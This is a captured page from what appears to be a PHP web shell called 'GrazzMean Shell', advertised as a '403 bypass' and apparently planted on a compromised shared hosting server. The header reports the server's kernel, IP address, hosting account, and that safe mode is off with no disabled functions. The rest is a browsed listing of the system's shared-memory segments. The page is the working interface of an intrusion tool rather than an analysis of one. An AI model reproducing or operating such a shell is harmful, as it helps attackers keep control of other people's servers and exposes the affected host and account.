shell bypass 403

GrazzMean Shell

: /proc/sysvipc/ [ dr-xr-xr-x ]
Uname: Linux server230.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
Software: LiteSpeed
PHP version: 8.1.32 [ PHP INFO ] PHP os: Linux
Server Ip: 198.54.115.51
Your Ip: 216.73.216.114
User: myflzuab (636) | Group: myflzuab (635)
Safe Mode: OFF
Disable Function:
NONE

name : shm
       key      shmid perms                  size  cpid  lpid nattch   uid   gid  cuid  cgid      atime      dtime      ctime                   rss                  swap
         0  386465792  1600                 86856 3658779 759775      1   475   468   475   468 1752831925 1752831925 1749788162                 86016                  4096
      5555          3   644                  1024  4694 1765386      0     0     0     0     0 1752768908 1752768909 1529680347                  4096                     0
         0  386465797  1600                108560 3658779 759775      1   475   468   475   468 1752831925 1752831925 1749788164                110592                     0
         0  386465798  1600                130312 3658779 759775      1   475   468   475   468 1752831925 1752831925 1749788166                122880                  8192
         0  386465800  1600                152008 3658779 759775      1   475   468   475   468 1752831925 1752831925 1749788168                155648                     0
         0  386465801  1600                173712 3658779 759775      1   475   468   475   468 1752831925 1752831925 1749788170                172032                  4096
         0  386465802  1600                195408 3658779 759775      1   475   468   475   468 1752831925 1752831925 1749788172                192512                  4096
         0  679313419  1400                423440 4083209 4084274      2   484   479     0     0 1752823836          0 1752823836                425984                     0
         0  386465804  1600                217112 3658779 759775      1   475   468   475   468 1752831925 1752831925 1749788174                217088                  4096
         0  386465805  1600                238816 3658779 759775      1   475   468   475   468 1752831925 1752831925 1749788176                241664                     0
         0  680099854  1600                524288 735054 742027      2  1522  1519  1522  1519 1752831916 1752831927 1752831693                  8192                     0
         0  386465807  1600                260544 3658779 759775      1   475   468   475   468 1752831925 1752831925 1749788179                253952                  8192
         0  386465808  1600                282240 3658779 759775      1   475   468   475   468 1752831925 1752831925 1749788181                262144                 20480
         0  386465809  1600                303944 3658779 759775      1   475   468   475   468 1752831925 1752831925 1749788183                303104                  4096
         0  386465810  1600                325632 3658779 759775      1   475   468   475   468 1752831925 1752831925 1749788185                315392                 12288
         0  386465811  1600                347328 3658779 759775      1   475   468   475   468 1752831925 1752831925 1749788187                348160                     0
         0  386465812  1600                369016 3658779 759775      1   475   468   475   468 1752831925 1752831925 1749788189                368640                  4096
         0  386465813  1600                390704 3658779 759775      1   475   468   475   468 1752831925 1752831925 1749788191                389120                  4096
         0  386465814  1600                412400 3658779 759775      1   475   468   475   468 1752831925 1752831925 1749788193                405504                  8192
         0  386465815  1600                434096 3658779 759775      1   475   468   475   468 1752831925 1752831925 1749788195                425984                  8192
         0  386465816  1600                455784 3658779 759775      1   475   468   475   468 1752831925 1752831925 1749788197                454656                  4096
         0  386465817  1600                477472 3658779 759775      1   475   468   475   468 1752831925 1752831925 1749788199                471040                  8192
         0  386465818  1600                499168 3658779 759775      1   475   468   475   468 1752831925 1752831925 1749788201                487424                 12288
         0  386465819  1600                520856 3658779 759775      1   475   468   475   468 1752831925 1752831925 1749788203                524288                     0
         0  386465820  1600                542544 3658779 759775      1   475   468   475   468 1752831925 1752831925 1749788205                532480                 12288
         0  386465821  1600                564240 3658779 759775      1   475   468   475   468 1752831925 1752831925 1749788208                548864                 16384
         0  386465822  1600                585936 3658779 759775      1   475   468   475   468 1752831925 1752831925 1749788210                581632                  8192
         0  386465823  1600                607632 3658779 759775      1   475   468   475   468 1752831925 1752831925 1749788212                602112                  8192
         0  386465824  1600                629336 3658779 759775      1   475   468   475   468 1752831925 1752831925 1749788214                614400                 16384
         0  386465825  1600                651040 3658779 759775      1   475   468   475   468 1752831925 1752831925 1749788216                651264                     0
         0  680099874  1600                524288 735826 745446      1  4323  4319  4323  4319 1752831874 1752831887 1752831709                  8192                     0
         0  386465827  1600                672744 3658779 759775      1   475   468   475   468 1752831925 1752831925 1749788218                675840                     0
         0  386465829  1600                694432 3658779 759775      1   475   468   475   468 1752831925 1752831925 1749788220                696320                     0
         0  386465830  1600                716128 3658779 759775      1   475   468   475   468 1752831925 1752831925 1749788222                716800                     0
         0  680099884  1600                524288 741507 746054      1  4118  4114  4118  4114 1752831887 1752831899 1752831805                  8192                     0
         0  386465838  1600                737816 3658779 759775      1   475   468   475   468 1752831925 1752831925 1749788274                741376                     0
   5432001  670924847   600                    56 3191947 759212      6    26    26    26    26 1752831919 1752831919 1752736860                  4096                     0
         0  680099888  1600                524288 742365 745224      1  1603  1574  1603  1574 1752831868 1752831881 1752831824                  8192                     0
         0  680099890  1600                524288 743859 743862      1  1346  1342  1346  1342 1752831847 1752831859 1752831847                  8192                     0
         0  673513523   600                759512 3658779 759775      2   475   468   475   468 1752831925 1752831925 1752764745                761856                     0
         0  679575604  1600                524288 261702 746573      1  4189  4185  4189  4185 1752831896 1752831908 1752826506                  8192                     0
         0  680099893  1600                524288 744090 746583      1  2309  2305  2309  2305 1752831897 1752831909 1752831849                  8192                     0
         0  680099894  1600                524288 744836 744836     21  2132  2128  2132  2128 1752831926 1752831877 1752831861                  8192                     0
         0  386433079  1600                   576 3658772 759775      6   475   468   475   468 1752831925 1752831925 1749788153                  4096                     0
         0  680099896  1600                524288 745818 758707      2  1126  1124  1126  1124 1752831917 1752831924 1752831883                  8192                     0
         0  386433081  1600               4161056 3658772 759775      6   475   468   475   468 1752831925 1752831925 1749788153               4161536                     0
         0  386433082  1600                 21744 3658779 759775      1   475   468   475   468 1752831925 1752831925 1749788156                 24576                     0
         0  680099899  1600                524288 746532 746558      1   879   876   879   876 1752831896 1752831915 1752831896                  8192                     0
         0  386433085  1600                 43456 3658779 759775      1   475   468   475   468 1752831925 1752831925 1749788158                 45056                     0
         0  386433086  1600                 65160 3658779 759775      1   475   468   475   468 1752831925 1752831925 1749788160                 65536                     0
         0  680099903  1600                524288 756623 756714      1  1728  1699  1728  1699 1752831912 1752831924 1752831912                  8192                     0
         0  680099904  1600                524288 758366 758401      1   584   577   584   577 1752831916 1752831928 1752831916                  8192                     0
         0  680067137  1600                524288 725586 743963      1  2485  2481  2485  2481 1752831849 1752831877 1752831560                  8192                     0
         0  680099906  1600                524288 759148 759148      2  1728  1699  1728  1699 1752831918          0 1752831918                  8192                     0
© 2025 GrazzMean